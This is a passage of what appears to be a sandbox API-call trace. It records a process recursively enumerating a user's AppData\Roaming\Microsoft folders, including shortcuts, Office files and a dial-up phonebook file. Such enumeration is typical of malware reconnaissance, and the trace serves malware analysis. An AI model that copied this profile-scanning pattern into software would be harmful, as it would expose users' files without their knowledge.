hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.726] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12") returned 56 [0116.726] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12\\*") returned 58 [0116.726] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP12\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.726] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.726] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.726] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1") returned 57 [0116.726] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*") returned 59 [0116.726] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.726] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.726] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.727] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.727] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0") returned 57 [0116.727] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*") returned 59 [0116.727] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.727] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.727] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.727] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.727] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.727] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned 67 [0116.727] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned 69 [0116.727] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.727] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.728] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 80 [0116.728] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned 82 [0116.728] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 92 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Google Chrome.lnk") returned 98 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned 117 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Microsoft Outlook.lnk") returned 102 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Shows Desktop.lnk") returned 98 [0116.728] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned") returned 92 [0116.728] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*") returned 94 [0116.728] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.728] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.728] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.728] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts") returned 113 [0116.728] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*") returned 115 [0116.728] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ImplicitAppShortcuts\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0116.729] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar") returned 100 [0116.729] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*") returned 102 [0116.729] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\desktop.ini") returned 112 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Google Chrome.lnk") returned 118 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer (2).lnk") returned 126 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Internet Explorer.lnk") returned 122 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Mozilla Firefox.lnk") returned 120 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer (2).lnk") returned 125 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 121 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned 129 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player.lnk") returned 125 [0116.729] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0116.729] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.729] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.729] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.729] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Window Switcher.lnk") returned 100 [0116.729] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.730] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.730] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.730] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.730] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC") returned 53 [0116.730] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC\\*") returned 55 [0116.730] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MMC\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.730] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.731] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.731] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.731] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.731] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project") returned 60 [0116.731] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\*") returned 62 [0116.731] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.731] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.731] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.731] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15") returned 63 [0116.731] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\*") returned 65 [0116.731] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.732] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.732] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033") returned 68 [0116.732] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\*") returned 70 [0116.732] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.732] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.732] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\MS Project\\15\\1033\\Global.MPT") returned 79 [0116.732] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.732] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.732] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.732] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.733] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.733] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network") returned 57 [0116.733] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\*") returned 59 [0116.733] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.733] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.733] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections") returned 69 [0116.733] wvnsprintfW (in: pszDest=0x2a6dce8, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*") returned 71 [0116.733] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0x85b2a0 [0116.733] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 1 [0116.733] wvnsprintfW (in: pszDest=0x2a6d890, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d874 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk") returned 73 [0116.733] wvnsprintfW (in: pszDest=0x2a6d620, cchDest=260, pszFmt="%s\\*", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*") returned 75 [0116.733] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0x85b2e0 [0116.733] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 1 [0116.733] wvnsprintfW (in: pszDest=0x2a6d1c8, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6d1ac | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk") returned 84 [0116.733] wvnsprintfW (in: pszDest=0x2a6cf58, cchDest=260, pszFmt="%s\\*", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*") returned 86 [0116.733] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0x85b320 [0116.733] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.733] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 1 [0116.733] wvnsprintfW (in: pszDest=0x2a6cb00, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6cae4 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 97 [0116.733] FindNextFileW (in: hFindFile=0x85b320, lpFindFileData=0x2a6cd08 | out: lpFindFileData=0x2a6cd08) returned 0 [0116.733] FindClose (in: hFindFile=0x85b320 | out: hFindFile=0x85b320) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b2e0, lpFindFileData=0x2a6d3d0 | out: lpFindFileData=0x2a6d3d0) returned 0 [0116.734] FindClose (in: hFindFile=0x85b2e0 | out: hFindFile=0x85b2e0) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b2a0, lpFindFileData=0x2a6da98 | out: lpFindFileData=0x2a6da98) returned 0 [0116.734] FindClose (in: hFindFile=0x85b2a0 | out: hFindFile=0x85b2a0) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0 [0116.734] FindClose (in: hFindFile=0x85b260 | out: hFindFile=0x85b260) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b220, lpFindFileData=0x2a6e828 | out: lpFindFileData=0x2a6e828) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6e620, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6e604 | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office") returned 56 [0116.734] wvnsprintfW (in: pszDest=0x2a6e3b0, cchDest=260, pszFmt="%s\\*", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\*") returned 58 [0116.734] FindFirstFileW (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 0x85b260 [0116.734] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.734] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned 68 [0116.734] FindNextFileW (in: hFindFile=0x85b260, lpFindFileData=0x2a6e160 | out: lpFindFileData=0x2a6e160) returned 1 [0116.734] wvnsprintfW (in: pszDest=0x2a6df58, cchDest=260, pszFmt="%s\\%s", arglist=0x2a6df3c | out: pszDest="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 63 [0116.734] 